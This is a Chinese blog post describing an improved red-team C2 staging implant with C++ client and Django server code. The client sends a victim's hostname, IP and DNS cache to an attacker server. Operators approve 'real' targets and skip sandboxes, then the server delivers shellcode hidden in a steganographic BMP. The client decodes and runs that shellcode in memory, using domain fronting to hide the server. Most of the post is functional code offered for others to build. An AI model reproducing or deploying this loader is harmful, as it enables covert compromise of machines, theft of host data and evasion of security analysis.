通过人工准入实现c2上线(改进版)

2022-初版

把shellcode载荷放在平台生成的隐写图片中,前锋马回传机器基础信息用于判断是否是沙箱或调试机,确认是真实目标,人为准入,目标机解析隐写图片shellcode后上线到c2。

2023-改进版:

前段时间又完善了下之前写的准入,发出来做个记录,接入到了钉钉通知,方便多人协同操作,通过信息判断是否是沙箱分析机,机器是否有价值,然后通过IM去决定加载后面的shellcode。

server端是django写,clinet是c++。 环境安装:

1
2
3
pip3 install django==2.1.3
pip3 install chardet
pip3 install pycryptodome

访问流程: 1.客户端随机生成GUID动态请求server端获取key http://redteam.xxx/key?uuid=41303000200-0400-0500-0006-000700080009

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wchar_t guidbuffer[GUID_LEN] = { 0 };
GUID guid;

if (CoCreateGuid(&guid))
{
fprintf(stderr, "create guid error\n");
return -1;
}

_snwprintf_s(guidbuffer, sizeof(guidbuffer),
L"%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X",
guid.Data1, guid.Data2, guid.Data3,
guid.Data4[0], guid.Data4[1], guid.Data4[2],
guid.Data4[3], guid.Data4[4], guid.Data4[5],
guid.Data4[6], guid.Data4[7]);

2.获取客户端IP,主机名称以及本地dns缓存记录(这里回传数据可以根据实际情况进行定制,例如杀软安装软件等…) ,使用key对机器信息aes加密发送给server端 aes加解密参考 https://blog.csdn.net/witto_sdy/article/details/83375999 http://redteam.xxx/add?uuid=41303000200-0400-0500-0006-000700080009&target=3d316499851da40d2c29a0cf2e6f645a&dns=e8f1c693514ccd053addeee84cfd350ad0f38374e86f6f799b814cc09dda09c7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
获取主机名以及对于的IP
WSADATA wsaData;
int err = WSAStartup(MAKEWORD(2, 0), &wsaData);

char szHostName[MAX_PATH] = { 0 };
int nRetCode;
nRetCode = gethostname(szHostName, sizeof(szHostName));

char* lpLocalIP;
PHOSTENT hostinfo;

hostinfo = gethostbyname(szHostName);
lpLocalIP = inet_ntoa(*(struct in_addr*)*hostinfo->h_addr_list);
获取本地DNS缓存记录
std::vector<CachedDnsRecord> getDnsCache()
{
std::vector<CachedDnsRecord> results;

PDNSCACHEENTRY pEntry = (PDNSCACHEENTRY)malloc(sizeof(DNSCACHEENTRY));
HINSTANCE hLib = LoadLibrary(TEXT("DNSAPI.dll"));
DNS_GET_CACHE_DATA_TABLE DnsGetCacheDataTable =
(DNS_GET_CACHE_DATA_TABLE)GetProcAddress(hLib, "DnsGetCacheDataTable");

int stat = DnsGetCacheDataTable(pEntry);
pEntry = pEntry->pNext;
while (pEntry)
{
CachedDnsRecord record;
record.name = wstring(pEntry->pszName);
//wprintf(L"%s|", record.name.c_str());

record.type = pEntry->wType;
results.push_back(record);
pEntry = pEntry->pNext;
}
free(pEntry);
return results;
}

3.对回传回来主机名,dns记录,ip解密的数据进行判断,根据信息判断是否允许上线,允许上线则用生成一个图片隐写马,等待客户端请求返回解析出来shelllcode server端处理代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 判断生成图片
class TaskShow(View):

@csrf_exempt
def post(self, request, **kwargs):
taskid = (request.POST['taskid'])
obj = models.Message.objects.get(id=taskid)
shellcode = "fce88900000060xxxxxxx" #shellcode
cmd = "SimpleShellcode.exe {shellcode}".format(shellcode=shellcode)
proc = subprocess.Popen(cmd,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
print(proc.stdout.readline())
pathfile = (str(obj.UUIDreuslt) + ".bmp")
time.sleep(5)
os.rename("save.bmp", pathfile)
filedir = os.path.join(os.getcwd(), 'images', pathfile)
shutil.move(pathfile, filedir)
models.Message.objects.filter(id=taskid).update(gogogo=shellcode)

# 获取appid对应的图片
class Tasktext(View):
def get(self, request):
UUIDreuslt = request.GET.get("appid")
filename = UUIDreuslt + ".bmp"
filedir = os.path.join(os.getcwd(), 'images', filename)
if not os.path.exists(filedir):
return HttpResponse(status=404)
else:
filedir_tmp = UUIDreuslt + "_" + str(random.randint(1, 100)) + ".bmp"
temp_bmp = os.path.join(os.getcwd(), 'images', filedir_tmp)
photo = open(filedir, 'rb')
photo2 = open(temp_bmp, 'wb')
photo2.write(photo.read())
photo.close()
photo2.close()

os.remove(filedir)
q = models.Message.objects.get(UUIDreuslt=UUIDreuslt)
print(q.id)
models.Message.objects.filter(id=q.id).update(cscscs=filedir)
return FileResponse(open(temp_bmp, 'rb'), content_type='*/*')

4.clinet端循环监听请求对应的图片读取解析图片位移获取shellcode并内存加载上线c2 http://redteam.xxx/task/cmd?uuid=41303000200-0400-0500-0006-000700080009

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
    DWORD dwStatusCodeReturn = 0;
while (dwStatusCodeReturn != 200)
{

resultStr = webhttp(fullUrlPath, &dwStatusCodeReturn);
if (dwStatusCodeReturn == 200)
{
cout << "exit" << endl;
}
cout << "请求失败:" << dwStatusCodeReturn << endl;
::Sleep(60 * 1000 * 3);

}

#位移处理图片中的shelllcode

std::wstring rightPart = GetRightStr(Url, L"?");
std::wstring wcs = rightPart.c_str();
size_t wcsPos = wcs.find(L"appid");
if (wcsPos != string::npos && dwStatusCode == 200) {
BITMAPFILEHEADER *pHdr = (BITMAPFILEHEADER *)pBuffer;
LPBYTE pStr = pBuffer + pHdr->bfOffBits + 3;
char szTmp[5000];
RtlZeroMemory(szTmp, 5000);
for (int i = 0; i < 5000; i++)
{
if (*pStr == 0 || *pStr == 0xFF)
{
break;
}
szTmp<i> = *pStr;
pStr += 4;
}
printf_s(szTmp);
unsigned int char_in_hex;

unsigned int iterations = strlen(szTmp);


unsigned int memory_allocation = strlen(szTmp) / 2;

VirtualProtect(szTmp, memory_allocation, PAGE_READWRITE, 0);

for (unsigned int i = 0; i < iterations / 2; i++) {
sscanf_s(szTmp + 2 * i, "%2X", &char_in_hex);
szTmp<i> = (char)char_in_hex;
}

MyVirtualAlloc defVirtualAlloc = (MyVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
MyVirtualProtect defVirtualProtect = (MyVirtualProtect)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualProtect");

void* abvc = defVirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(abvc, szTmp, memory_allocation);
DWORD ignore;
defVirtualProtect(abvc, memory_allocation, PAGE_EXECUTE, &ignore);

(*(void(*)()) abvc)();
delete pBuffer;


}

对敏感数据进行处理

沙箱中会静态从内存中匹配url 链接,这里用域前置来匿名服务器地址, 在winhttp中增加个指定的host头来实现域前置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
std::wstring strHost = GetHost(Url); #获取host
std::wstring strRequestStr = GetRequestStr(Url); #获取目录
//wcout << strHost;
//wcout << strRequestStr;
//访问的header
std::wstring header = L"Host: " + strHost + L"\r\nContent-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n";
//建立连接的host
strHost = strHost + L".w.xxxx.com"; //动态域名
LPCWSTR host = wstringToLPCWSTR(strHost.c_str());
LPCWSTR requestStr = wstringToLPCWSTR(strRequestStr.c_str());



HINTERNET hSession = WinHttpOpen(L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
DWORD dwReadBytes = 0, dwSizeDW = sizeof(dwSizeDW), dwContentSize = 0, dwIndex = 0, dwStatusCode = 0;
HINTERNET hConnect = WinHttpConnect(hSession, host,
INTERNET_DEFAULT_HTTP_PORT, 0);



HINTERNET hRequest = hRequest = WinHttpOpenRequest(hConnect, L"GET", requestStr,
NULL, WINHTTP_NO_REFERER,
NULL,
NULL);

//Add HTTP header
LPCWSTR header1 = wstringToLPCWSTR(header.c_str());
SIZE_T len = lstrlenW(header1);
WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);

WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
WinHttpReceiveResponse(hRequest, 0);

dwSizeDW = sizeof(dwContentSize);
WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);

dwSizeDW = sizeof(dwStatusCode);
WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwSizeDW, NULL);
if (dwStatusCodeReturn)
*dwStatusCodeReturn = dwStatusCode;
BYTE *pBuffer = NULL;
pBuffer = new BYTE[dwContentSize + 1];
ZeroMemory(pBuffer, dwContentSize + 1);


//LPCWSTR header1 = wstringToLPCWSTR(header.c_str());
//SIZE_T len = lstrlenW(header1);
//WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);


if (dwContentSize > 0)
{
do {
WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);

} while (dwReadBytes == 0);
}

实现效果

2.png

最终效果

3.png

思路和主要代码都给出来了,动动手就可以写出来了,欢迎交流指正!